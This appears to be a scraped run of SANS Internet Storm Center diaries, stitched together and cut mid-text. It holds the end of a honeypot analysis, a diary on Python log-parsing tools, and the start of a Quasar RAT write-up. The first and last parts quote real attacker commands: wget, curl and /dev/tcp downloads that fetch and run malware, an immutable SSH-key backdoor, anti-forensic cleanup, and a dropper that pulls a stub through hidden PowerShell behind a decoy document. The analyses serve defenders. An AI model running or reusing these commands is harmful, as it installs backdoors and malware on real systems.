 },
 {
 "filename": "KKveTTgaAAsecNNaaaa.x86",
 "sha256": "9ac2e308b0b30354575bba88169283fa7439d34937a148ccb390bcec3c
6e296b"
 }
 ],
 "command": "cd /tmp; wget 209.141.34.106/PangaKenya/KKveTTgaAAsecNNaaaa.x86_6
4; chmod +x KKveTTgaAAsecNNaaaa.x86_64; ./KKveTTgaAAsecNNaaaa.x86_64 ; rm -rf K
KveTTgaAAsecNNaaaa.x86_64; wget 209.141.34.106/PangaKenya/KKveTTgaAAsecNNaaaa.
x86; chmod +x KKveTTgaAAsecNNaaaa.x86; ./KKveTTgaAAsecNNaaaa.x86 ; rm -rf KKveT
TgaAAsecNNaaaa.x86"
 },
 {
 "timestamp": "2025-04-29T09:43:28.358260Z",
 "attacker_ip": "47.236.58.21",
 "malware_source": "202.55.82.250:60140",
 "malware_path": "/linux",
 "destination": "/tmp/mEpGt06b5j",
 "download_mechanism": "Multiple fallbacks: curl ? wget ? direct socket",
 "additional_actions": [
 "Creates /tmp/.opass with password '12345678'",
 "Executes with encoded command line parameters"
 ],
 "command_excerpt": "nohup $SHELL -c \"curl http://202.55.82.250:60140/linux -o /tm
p/mEpGt06b5j; if [ ! -f /tmp/mEpGt06b5j ]; then wget http://202.55.82.250:60140/linux -O /
tmp/mEpGt06b5j; fi; if [ ! -f /tmp/mEpGt06b5j ]; then exec 6<>/dev/tcp/202.55.82.250/601
40 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/mEpGt06b5j ; chmod +x /tmp/mEpGt0
6b5j && /tmp/mEpGt06b5j CSKwgLxYG+KdmZqF+BdTqIG0M3R0..."
 }
 ],

 "attack_campaign": {
 "pattern": "Widespread SSH key installation across many IP addresses",
 "common_actions": [
 "ssh key installation",
 "checking crontab entries",
 "file immutability via chattr",
 "removal of attack artifacts"
 ],
 "target": "Linux systems across multiple architectures"
 }

 

Persistence Mechanisms: Staying Under the Radar

In addition to the SSH key backdoor, the attackers employed multiple techniques to maintain access and resist removal attempts:

1. File Attribute Manipulation

The logs show consistent use of the chattr command to set immutable flags on files:

chattr +ai ~/.ssh/authorized_keys

 

This prevents the file from being modified or deleted through normal means, complicating remediation efforts.

2. Crontab Inspection

The attackers routinely checked for scheduled tasks using crontab -l , likely to:

• Identify any security monitoring tools that might detect their presence
• Understand system maintenance schedules
• Find opportunities to add their own persistence mechanisms

The logs show over 40 different sessions executing this command, indicating a systematic approach to reconnoitering compromised systems.

crontab -l
# Session 7332db45b083 (135.148.27.57) at 2025-04-29T01:36:43
# Session 43583c947eab (45.55.187.1) at 2025-04-29T02:10:45
# Session e2cfd359b841 (81.19.140.78) at 2025-04-29T03:00:37
# Session 913f4c51570e (120.133.83.199) at 2025-04-29T03:34:14
# Session 374ae6b1e98c (77.105.181.82) at 2025-04-29T03:47:04

 

3. Targeting Multiple Architectures

By preparing malware for ARM7, ARM8, i686, and x86_64 architectures, the attackers ensured their ability to maintain presence across heterogeneous environments - from small IoT devices to server infrastructure.

4. Cleanup Operations

The attack chain included execution of a script named clean.sh which likely removed evidence of the intrusion from system logs and temporary directories. This "anti-forensics" approach makes detection more difficult for security teams.

 {
 "eventid": "cowrie.session.file_upload",
 "filename": "clean.sh",
 "outfile": "var/lib/cowrie/downloads/d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6
fb3ab5388d2c5bc6a98e",
 "shasum": "d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98
e",
 "message": "SFTP Uploaded file \"clean.sh\" to var/lib/cowrie/downloads/d46555af1173d
22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e",
 "sensor": "",
 "timestamp": "2025-04-29T17:25:48.717741Z",
 "src_ip": "196.251.70.219",
 "session": "90db1182d123"
 },
 {
 "eventid": "cowrie.command.input",
 "input": "chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.s
h; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAA
B3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7Ag
vfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPX
xg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrv
aRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSm
dw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUM
Rr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; unam
e -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"; ",
 "message": "CMD: chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh;
sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"sshrsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7ne
NVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEa
DAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMt
PAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfd
mHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX
8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_
keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"; ",
 "sensor": "",
 "timestamp": "2025-04-29T17:25:48.682372Z",
 "src_ip": "196.251.70.219",
 "session": "90db1182d123"
 }
]

 

[
 {
 "event_type": "command_execution",
 "timestamp": "2025-04-29T17:25:48.682372Z",
 "src_ip": "196.251.70.219",
 "session": "90db1182d123",
 "command_sequence": [
 {
 "phase": "cleanup_script_execution",
 "commands": [
 "chmod +x clean.sh",
 "sh clean.sh",
 "rm -rf clean.sh"
 ]
 },
 {
 "phase": "malware_installation",
 "commands": [
 "chmod +x setup.sh",
 "sh setup.sh",
 "rm -rf setup.sh"
 ]
 },
 {
 "phase": "persistence_establishment",
 "commands": [
 "mkdir -p ~/.ssh",
 "chattr -ia ~/.ssh/authorized_keys",
 "echo \"ssh-rsa AAAAB3NzaC1yc2EAAAA[...truncated...]kUMRr rsa-key-20230629\"
> ~/.ssh/authorized_keys",
 "chattr +ai ~/.ssh/authorized_keys"
 ]
 },
 {
 "phase": "system_identification",
 "commands": [
 "uname -a"
 ]
 },
 {
 "phase": "callback_confirmation",
 "commands": [
 "echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\""
 ],
 "decoded_message": "auth_ok"
 }
 ]
 },
 {
 "event_type": "file_download",
 "duplicate": true,
 "outfile": "var/lib/cowrie/downloads/8a68d1c08ea31250063f70b1ccb5051db1f7ab6e17d4
6e9dd3cc292b9849878b",
 "shasum": "8a68d1c08ea31250063f70b1ccb5051db1f7ab6e17d46e9dd3cc292b9849878
b"
 }
]

 

chmod +x clean.sh; sh clean.sh; rm -rf clean.sh

 

[
 {
 "eventid": "cowrie.command.input",
 "input": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
 "message": "CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh",
 "sensor": "",
 "timestamp": "2025-04-29T01:36:35.757277Z",
 "src_ip": "135.148.27.57",
 "session": "7332db45b083"
 },
 {
 "eventid": "cowrie.command.input",
 "input": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
 "message": "CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh",
 "sensor": "",
 "timestamp": "2025-04-29T02:10:37.895619Z",
 "src_ip": "45.55.187.1",
 "session": "43583c947eab"
 },
 {
 "eventid": "cowrie.command.input",
 "input": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
 "message": "CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh",
 "sensor": "",
 "timestamp": "2025-04-29T03:00:30.746579Z",
 "src_ip": "81.19.140.78",
 "session": "e2cfd359b841"
 },
 {
 "eventid": "cowrie.command.input",
 "input": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
 "message": "CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh",
 "sensor": "",
 "timestamp": "2025-04-29T03:34:04.080390Z",
 "src_ip": "120.133.83.199",
 "session": "913f4c51570e"
 },
 {
 "eventid": "cowrie.command.input",
 "input": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
 "message": "CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh",
 "sensor": "",
 "timestamp": "2025-04-29T03:46:59.162406Z",
 "src_ip": "77.105.181.82",
 "session": "374ae6b1e98c"
 }
]

 

Indicators of Compromise (IOCs)

IP Addresses
 

IP Address	Role	Timestamp(s)	Activity	Geographic Region
%%ip:196.251.70.219%%	Primary Attacker	2025-04-29T17:25:32Z	Successful compromise, multi-architecture malware upload	South Africa
%%ip:209.141.34.106%%	Malware Host	2025-04-29T07:24:22Z	Hosting "PangaKenya" malware variants	United States
%%ip:202.55.82.250%%	Secondary C2	2025-04-29T09:43:28Z	Command & control server on port 60140 with fallback mechanisms	Japan
%%ip:176.65.148.181%%	Malware Execution	2025-04-29T07:24:22Z	Downloaded and executed "PangaKenya" malware	Russia
%%ip:47.236.58.21%%	Advanced Attacker	2025-04-29T09:43:28Z	Complex malware download	China
%%ip:81.19.140.78%%	Campaign Node	2025-04-29T03:00:30Z -  2025-04-29T04:22:42Z	Multiple SSH key installation attempts	Netherlands
%%ip:213.155.195.169%%	Campaign Node	2025-04-29T05:35:33Z - 2025-04-29T05:56:56Z	Multiple SSH key installation attempts	Poland
%%ip:203.239.31.150%%	Campaign Node	2025-04-29T05:40:24Z - 2025-04-29T07:19:11Z	Multiple SSH key installation attempts	South Korea
%%ip:67.10.184.83%%	Campaign Node	2025-04-29T11:05:53Z - 2025-04-29T14:03:12Z	Multiple SSH key installation attempts	United States
%%ip:135.148.27.57%%	Campaign Node	2025-04-29T01:36:35Z	SSH key installation attempt	Canada
%%ip:45.55.187.1%%	Campaign Node	2025-04-29T02:10:37Z	SSH key installation attempt	United States
%%ip:120.133.83.199%%	Campaign Node	2025-04-29T03:34:04Z	SSH key installation attempt	China
%%ip:77.105.181.82%%	Campaign Node	2025-04-29T03:46:59Z	SSH key installation attempt	Russia
%%ip:154.219.99.245%%	Campaign Node	2025-04-29T04:07:54Z	SSH key installation attempt	Poland
%%ip:176.109.0.30%%	Campaign Node	2025-04-29T04:12:27Z	SSH key installation attempt	Russia
%%ip:167.99.128.177%%	Campaign Node	2025-04-29T04:38:22Z	SSH key installation attempt	United Kingdom
%%ip:211.253.10.96%%	Campaign Node	2025-04-29T04:48:26Z	SSH key installation attempt	South Korea
%%ip:101.126.90.24%%	Campaign Node	2025-04-29T04:57:37Z	SSH key installation attempt	Japan
%%ip:138.197.116.43%%	Campaign Node	2025-04-29T05:21:44Z	SSH key installation attempt	Canada
%%ip:14.103.123.75%%	Campaign Node	2025-04-29T09:12:16Z	SSH key installation attempt	China
%%ip:182.40.195.233%%	Campaign Node	2025-04-29T09:23:54Z	SSH key installation attempt	China
%%ip:117.9.170.239%%	Campaign Node	2025-04-29T10:06:41Z	SSH key installation attempt	China

Fiture 4:Visualisation showing repeated access attempts and persistence mechanisms.

 

Attack Infrastructure Analysis

The table reveals several key insights:

1. Global Coordination: The attack campaign spans at least 9 countries across Asia, Europe, North America, and Africa.
2. Infrastructure Hierarchy:
   • Primary infrastructure for sophisticated attacks (3 key IPs)
   • Distributed secondary nodes attempting simpler SSH key installations (19+ IPs)
3. Temporal Pattern: Active operation throughout April 29, 2025, suggesting automation.
4. Geographic Clustering:
   • Asian cluster: China, Japan, South Korea (7+ IPs)
   • European cluster: Russia, Poland, UK, Netherlands (5+ IPs)
   • North American cluster: US, Canada (4+ IPs)
   • African presence: South Africa (1 IP - primary attacker)

Key Infrastructure Providers

1. Primary Malware Distribution Server (%%ip:209.141.34.106%%):
   • Hosted by FranTech Solutions - a US-based hosting provider
   • Located in Las Vegas, Nevada, United States
   • Operating under AS53667
   • Known for offering bulletproof hosting services that are often used by threat actors
2. Secondary C2 Server (%%ip:202.55.82.250%%):
   • Located in Asia
   • Used for distributing the "linux" binary malware with fallback download methods
3. Attacker Origin (%%ip:196.251.70.219%%):
   • South African IP address
   • Used for the most sophisticated attack that deployed multi-architecture binaries
4. Operational Significance: The use of globally distributed IPs for similar attack patterns strongly suggests a sophisticated botnet operation rather than isolated threat actors.

This comprehensive geographic distribution indicates the attack campaign likely utilized compromised infrastructure or proxy networks to obfuscate its true origin while conducting a coordinated global attack campaign.

Malware File Hashes (SHA-256)

• 811cd6ebeb9e2b7438ad9d7c382db13c1c04b7d520495261093af51797f5d4cc - KKveTTgaAAsecNNaaaa.x86_64
• 9ac2e308b0b30354575bba88169283fa7439d34937a148ccb390bcec3c6e296b - KKveTTgaAAsecNNaaaa.x86
• 2ef6bb55a79d81fbda6d574456a8c187f610c5ae2ddca38e32cf7cc50912b0bf - redtail.arm7
• fc8730fbe87bcbdc093a1ffbcb0028ccb4c24638e55d13fd853b07574f4cbe4a - redtail.arm8
• 7780e72f7dea978946d4615c8db1b239d3e2c742cfc8be2934006b1fd6071110 - redtail.i686
• b6ee8e08f1d4992ca85770e6883c1d2206ebbaf42f99d99aba0e26278de8bffb - redtail.x86_64
• d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e - clean.sh
• 3b15778595cef00d1a51035dd4fd65e6be97e73544cb1899f40aec4aaa0445ae - setup.sh

SSH Backdoor Information

• Key fingerprint: 2048 SHA256:78gkKoLYeUW62etRipAiAw2jImcwCMnvC5BO9+3mOtY
• Key comment: rsa-key-20230629

Malicious Commands

• chattr -ia ~/.ssh/authorized_keys
• chattr +ai ~/.ssh/authorized_keys
• Creation of file /tmp/.opass with password content

HASSH Fingerprint

0a07365cc01fa9fc82608ba4019af499 (SSH-2.0-Go client)

 

{
 "eventid": "cowrie.command.input",
 "input": "chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.s
h; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAA
B3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7Ag
vfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPX
xg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrv
aRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSm
dw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUM
Rr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; unam
e -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"; ",
 "message": "CMD: chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; s
h setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-r
sa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7ne
NVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEa
DAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMt
PAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfd
mHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX
8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_
keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"; ",
 "sensor": "",
 "timestamp": "2025-04-29T17:25:48.682372Z",
 "src_ip": "196.251.70.219",
 "session": "90db1182d123"
}

{
 "eventid": "cowrie.client.kex",
 "hassh": "0a07365cc01fa9fc82608ba4019af499",
 "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nist
p256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellm
an-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,ae
s256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes25
6-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2
-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none",
 "kexAlgs": [
 "curve25519-sha256",
 "curve25519-sha256@libssh.org",
 "ecdh-sha2-nistp256",
 "ecdh-sha2-nistp384",
 "ecdh-sha2-nistp521",
 "diffie-hellman-group14-sha256",
 "diffie-hellman-group14-sha1",
 "ext-info-c",
 "kex-strict-c-v00@openssh.com"
 ],
 "keyAlgs": [
 "rsa-sha2-256-cert-v01@openssh.com",
 "rsa-sha2-512-cert-v01@openssh.com",
 "ssh-rsa-cert-v01@openssh.com",
 "ssh-dss-cert-v01@openssh.com",
 "ecdsa-sha2-nistp256-cert-v01@openssh.com",
 "ecdsa-sha2-nistp384-cert-v01@openssh.com",
 "ecdsa-sha2-nistp521-cert-v01@openssh.com",
 "ssh-ed25519-cert-v01@openssh.com",
 "ecdsa-sha2-nistp256",
 "ecdsa-sha2-nistp384",
 "ecdsa-sha2-nistp521",
 "rsa-sha2-256",
 "rsa-sha2-512",
 "ssh-rsa",
 "ssh-dss",
 "ssh-ed25519"
 ],
 "encCS": [
 "aes128-gcm@openssh.com",
 "aes256-gcm@openssh.com",
 "chacha20-poly1305@openssh.com",
 "aes128-ctr",
 "aes192-ctr",
 "aes256-ctr"
 ],
 "macCS": [
 "hmac-sha2-256-etm@openssh.com",
 "hmac-sha2-512-etm@openssh.com",
 "hmac-sha2-256",
 "hmac-sha2-512",
 "hmac-sha1",
 "hmac-sha1-96"
 ],
 "compCS": [
 "none"
 ],
 "langCS": [
 ""
 ],
 "message": "SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499",
 "sensor": "",
 "timestamp": "2025-04-29T17:25:32.857270Z",
 "src_ip": "196.251.70.219",
 "session": "90db1182d123"
}

===============================================
HASSH Threat Intelligence: 0a07365cc01fa9fc82608ba4019af499
===============================================
Client: SSH-2.0-Go
Algorithm suite: curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,
ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-gr
oup14-sha1,ext-info-c,kex-strict-c-v00@openssh.com
Encryption algorithms: aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-
poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr
Detected attack patterns: Automated brute force, credential stuffing
Known threat actors: Associated with mass scanning botnets
Source IP: 196.251.70.219 (South Africa)
===============================================

 

Mitigation Recommendations

Based on the attack techniques observed, here are key recommendations to protect your systems:

Secure Authentication

1. Disable password-based SSH authentication in favor of key-based authentication
2. Implement strong password policies if password authentication must be enabled
3. Consider implementing SSH certificate authentication for enhanced security
4. Implement multi-factor authentication where possible

Network Security

1. Implement IP allowlisting for administrative access when feasible
2. Use a properly configured firewall to limit SSH access to known networks
3. Consider using a VPN as an additional protection layer for remote access
4. Implement network segmentation to contain potential breaches

System Hardening

1. Regularly update and patch systems
2. Remove or disable unnecessary services and software
3. Implement the principle of least privilege for all accounts
4. Use intrusion detection/prevention systems to identify suspicious activity

Monitoring and Detection

1. Monitor for unauthorized SSH keys in authorized_keys files
2. Watch for unexpected file attribute changes (especially immutable flags)
3. Monitor for connections to known malicious IP addresses
4. Implement file integrity monitoring for critical system files
5. Develop and rehearse an incident response plan
6. Maintain offline backups of critical systems and data
7. Establish a security baseline to help identify anomalies
8. Consider using honeypots to detect and study attack techniques

 

Conclusion: Learning from Adversaries

What makes this attack campaign particularly concerning isn't just its automation, but its global coordination. The logs reveal identical attack patterns originating from dozens of distinct IP addresses across different continents - from South America to Asia to Europe - all using the same SSH key, command sequences, and malware distribution infrastructure. This suggests we're observing a well-organised botnet operation rather than isolated opportunistic attacks.

The attackers' use of architecture-specific malware binaries (arm7, arm8, i686, x86_64) indicates they're specifically targeting the growing Internet of Things ecosystem alongside traditional servers. Most concerning is how the attackers attempt to establish persistence through multiple redundant methods like SSH backdoors with immutable attributes, crontab modifications, and likely rootkit components in the 'redtail' binaries.

For defenders, this underlines the critical importance of monitoring SSH authentication logs, implementing proper key management, and deploying behavioral analysis tools that can detect the distinctive pattern of file uploads and attribute modifications that precede full compromise. As these attack patterns continue to evolve, sharing this type of detailed analysis becomes increasingly valuable for the broader security community.

This honeypot capture represents a valuable learning opportunity. The attackers demonstrated an automated approach to system compromise, using multiple fallback mechanisms and persistence techniques. They came prepared with malware variants for different architectures and took steps to hide their activities.

The complexity and automation in this attack highlight an important reality of modern cybersecurity: many attacks are not targeted but opportunistic, using automated tools to scan for and exploit vulnerable systems at scale. A single exposed system with weak credentials can be discovered and compromised within minutes. By studying these attacks in controlled environments, we can better understand adversary techniques and improve our defensive postures. The honeypot serves not just as a detection mechanism but as a cybersecurity training tool, providing real-world examples of the threats systems face daily.

This comprehensive attack analysis was created entirely using Notion as my central workspace before exporting to PDF. Notion's flexible database capabilities made organising and parsing through the complex honeypot logs significantly more efficient.

For anyone conducting similar security research, Notion offers a surprisingly powerful environment for both collaborative analysis and professional report preparation [7].

 

[1] https://www.sans.edu/cyber-security-programs/bachelors-degree/
[2] https://isc.sans.edu/honeypot.html
[3] https://www.virustotal.com/gui/file/2ef6bb55a79d81fbda6d574456a8c187f610c5ae2ddca38e32cf7cc50912b0bf
[4] https://www.virustotal.com/gui/file/fc8730fbe87bcbdc093a1ffbcb0028ccb4c24638e55d13fd853b07574f4cbe4a
[5] https://www.virustotal.com/gui/file/7780e72f7dea978946d4615c8db1b239d3e2c742cfc8be2934006b1fd6071110
[6] https://www.virustotal.com/gui/file/b6ee8e08f1d4992ca85770e6883c1d2206ebbaf42f99d99aba0e26278de8bffb
[7] https://www.notion.so

 

--
Jesse La Grew
Handler

[This is a Guest Diary by William Constantino, an ISC intern as part of the SANS.edu BACS program]

In the beginning of my Internet Storm Center (ISC) internship, I wasted too much time trying to build my SIEM from an old computer I had lying around, or a new Raspberry Pi I purchased. I keep running into roadblocks and errors. Also, I was distracted while trying to finish up another course, and I had every intention of looking at my log files every day, but it wasn’t happening. I did the easy thing of saying “I’ll look at it tomorrow. The JSON logs and Sqlite3 were the other problems with reading the logs without a SIEM, it produced massive amounts of data to parse through. To me it was like trying to find a needle in a haystack. To resolve this problem, I built two automated python tools to assist with those tasks and analyze the data. 

The first tool helped me process and organize the data I was looking at and helped point me in the right direction of interesting things to investigate further. This tool gave me the following capabilities:

1. It loads, reads, and parses JSON files by extracting the source IP addresses, request methods, accessed URLs, timestamps, user agents, response codes, credentials, and hashes.
2. Tracks IP activity by recording the different request methods used (GET, POST, etc.), and it stores the timestamps of requests for timeline analysis.
3. Counts URL accesses for identifying the most frequently visited endpoints, logs the user agent strings to detect patterns in client access, and captures the response codes to track server errors or unusual behavior.
4. Detects suspicious activity by flagging suspicious file requests (.php, .exe, .zip, etc.), extracts credential attempts (20 of the most used usernames and passwords), and identifies hashed values (MD5, SHA1, CRC32, NTLM, etc.)
5. Generates a generic security report by reporting the top 10 most active IPs, bottom 10 least active IPs, and the total amount of Unique IPs. It gives a summary of total requests, detected hashes, and credential attempts.
6. Lastly it measures how long the script takes to process the log file. It displays the results in minutes and seconds (I added this last because I just wanted to know how long it was taking to read and parse through the data).
7. The sample output from this tool is from 2025-05-31, and it was a massive log file at over 3.5GB for one day (why I added the timer). I will break down the output in sections for Tool 1 below:

Figure 1: Top 10 most Active IP addresses, Bottom 10 Least Active IPs, and General Summary.

Continued Output Tool 1:

Figure 2: The Request Methods Used and Top Accessed URLs.

Continued Output Tool 1: 

Figure 3: Suspicious File Requests and Top User-Agent Strings.

Continued Output Tool 1: 

Figure 4: Top attempted usernames and attempted passwords.

Continued Output Tool 1:
 

Figure 5: Hashes Detected and the Time it took to read the log file.

Once I had this output to look at, I determine what IP address that is the most interesting. However, I usually start with the one with the largest number of requests to see what is going on. I will look at all 10-20 (Top and Bottom 10) individually and see what they were doing and then determine which IP address to highlight for my analysis. Sometimes, if I’m looking at the same exploit, I’ll research all the other IPs to see if there is a novel attack or a different type of attack. To assist with a further investigation, I developed a second tool to help me with this. It is basically, the same as the first tool, but it focuses on further detailed analysis of specific IP(s).

The second python tool performs a detailed analysis on a specific IP address or addresses that you want further analysis on from a given a JSON log file. This tool does the following things:

1. Provides a prompt to input one (1) or multiple IP addresses.
2. It extracts the “sip” (source IP) field from each log entry and identifies requests.
3. The script gathers the HTTP request methods used by the target IP (GET, POST, HEAD, etc.). It also records the timestamps of the request timeframe.
4. Analyzes the User-Agent Strings which can provide insight into whether the requests originated from a legitimate browser, automated bot, or a hacking tool.
5. Examines response codes to show whether the target IP successfully accessed certain resources.
6. Detects suspicious file requests (.php, .exe, .zip, .bat, .sh, .py)
7. Credential attempts using default usernames and passwords (currently only the top twenty of each). 

Below is my output for the second tool (also for 2025-05-31). It is basically, the same as the first tool, but it focuses on further detailed analysis of specific IPs.

Output Tool 2:

Figure 6: Prompt to enter one (1) IP or multiple IP addresses separated by a comma.

Continued output Tool 2:

Figure 7: I inputted IP address (141.98.80.134). In this case, it was the #1 active IP.

Continued output of Tool 2:

Figure 8: Analysis for IP (141.98.80.134) with a massive number of requests.
 
According to the top accessed URLs in this investigation of this IP are known for CVE-2021-20016. I’ve actually seen this type of attack lately. 

Figure 9: Internet Storm Center Report for an exploit for Sonicwall [1].

Continued output of Tool 2:

Figure 10: User-Agent Strings and Attempted Passwords. 

This script will notify if it did not find any data for the specific fields looked at. The first tool does not do this, but usually there are all types of data and no field is empty during the investigation.

Continued output of Tool 2:

Figure 11: The Log Analysis is Complete. 

It took almost 13 minutes to complete. This was a massive file compared to other days, so analysis will be much faster with less data.
Using this tool to analyze the data in a short amount of time, the analyst will be able to inquire more information about the IP from websites like Virustotal, IPQualityScore, APIVoid, and etc. That information might give additional data points to see if further investigation is warranted or not.

In Conclusion, my script(s) or python tool(s) can assist help detect potential attackers that are targeting their DShield Honeypot. The tools can assist in forensic analysis by tracking IP behavior, login attempts, suspicious files, and other types of data. Additionally, they can provide insights into common attack patterns and methods that could be used by malicious actors. Moreover, other students or individuals can benefit from using these tools for their analysis and attack observations. This is only the starting point for these tools, massive improvements can be made to make them even more effective and useful. In the short term, though, these tools significantly assisted in my analysis projects during this internship. I have attached the links to my GitHub for both tools below.

[1] https://isc.sans.edu/diary/31906
[2] https://github.com/JJWCons/log-scripts/blob/main/logfile_investigation.py (Tool 1 Code)
[3] https://github.com/JJWCons/log-scripts/blob/main/single_multi_IP.py (Tool 2 Code)
[4] https://www.sans.edu/cyber-security-programs/bachelors-degree/

-----------
Guy Bruneau IPSS Inc.
My GitHub Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

RAT's are popular malware. They are many of them in the wild, Quasar[1] being one of them. The malware has been active for a long time and new campaigns come regularly back on stage. I spotted an interesting .bat file (Windows script) that attracted my attention because it is very well obfuscated. This file is a second stage that is downloaded and launched from a simple script:

@echo off
set "DOCX_PATH=%dp0Game_Purchase_Agreement (1).docx"
set "BAT_URL=hxxps://store3[.]gofile[.]io/download/web/60e1cbe3-5bcb-4ce5-9807-096b7ef2152c/stub.bat"
set "STUB_BAT=%dp0stub.bat"
start "" "%DOCX_PATH%"
powershell -noprofile -windowstyle hidden -command "Invoke-WebRequest -Uri '%BAT_URL%' -OutFile '%STUB_BAT%'"
start "" /B "%STUB_BAT%"

A decoy Office document is opened to make the victim confident. Let's have a look at the stub[.]bat file, the one obfuscated.The file has a "nice" VT score (1/61) (SHA256:06463c161db81b0714be03cd33431730a5fa56e0019901b03ec61943e08f8e9f[1])

Many environment variables are used and "goto" are implemented to forward and back in the document and reconstruct the code:

%ywbR5EU0%got%psT9UHn%o%ck4mP% :cFjGe

:: merit cause glow side across trick humble man aunt man
:KVwlg
%wn70F%s%xrXwJ%et%zLQjCV% "BFT0e7D9=;$OM1Hj" && %NV38nVKJ%set%tlIujlLR% "wGIv=ey = "&&%mAyrqy%set "wxzXFAyU=Fu.GetT"
%MqHr7m%s%dOBZ%e%ARwzE%t%SN8O3x1% "BjosEB=.Tripl"
s%CVz5%e%PLqV%t "Ie9m=ray();$"
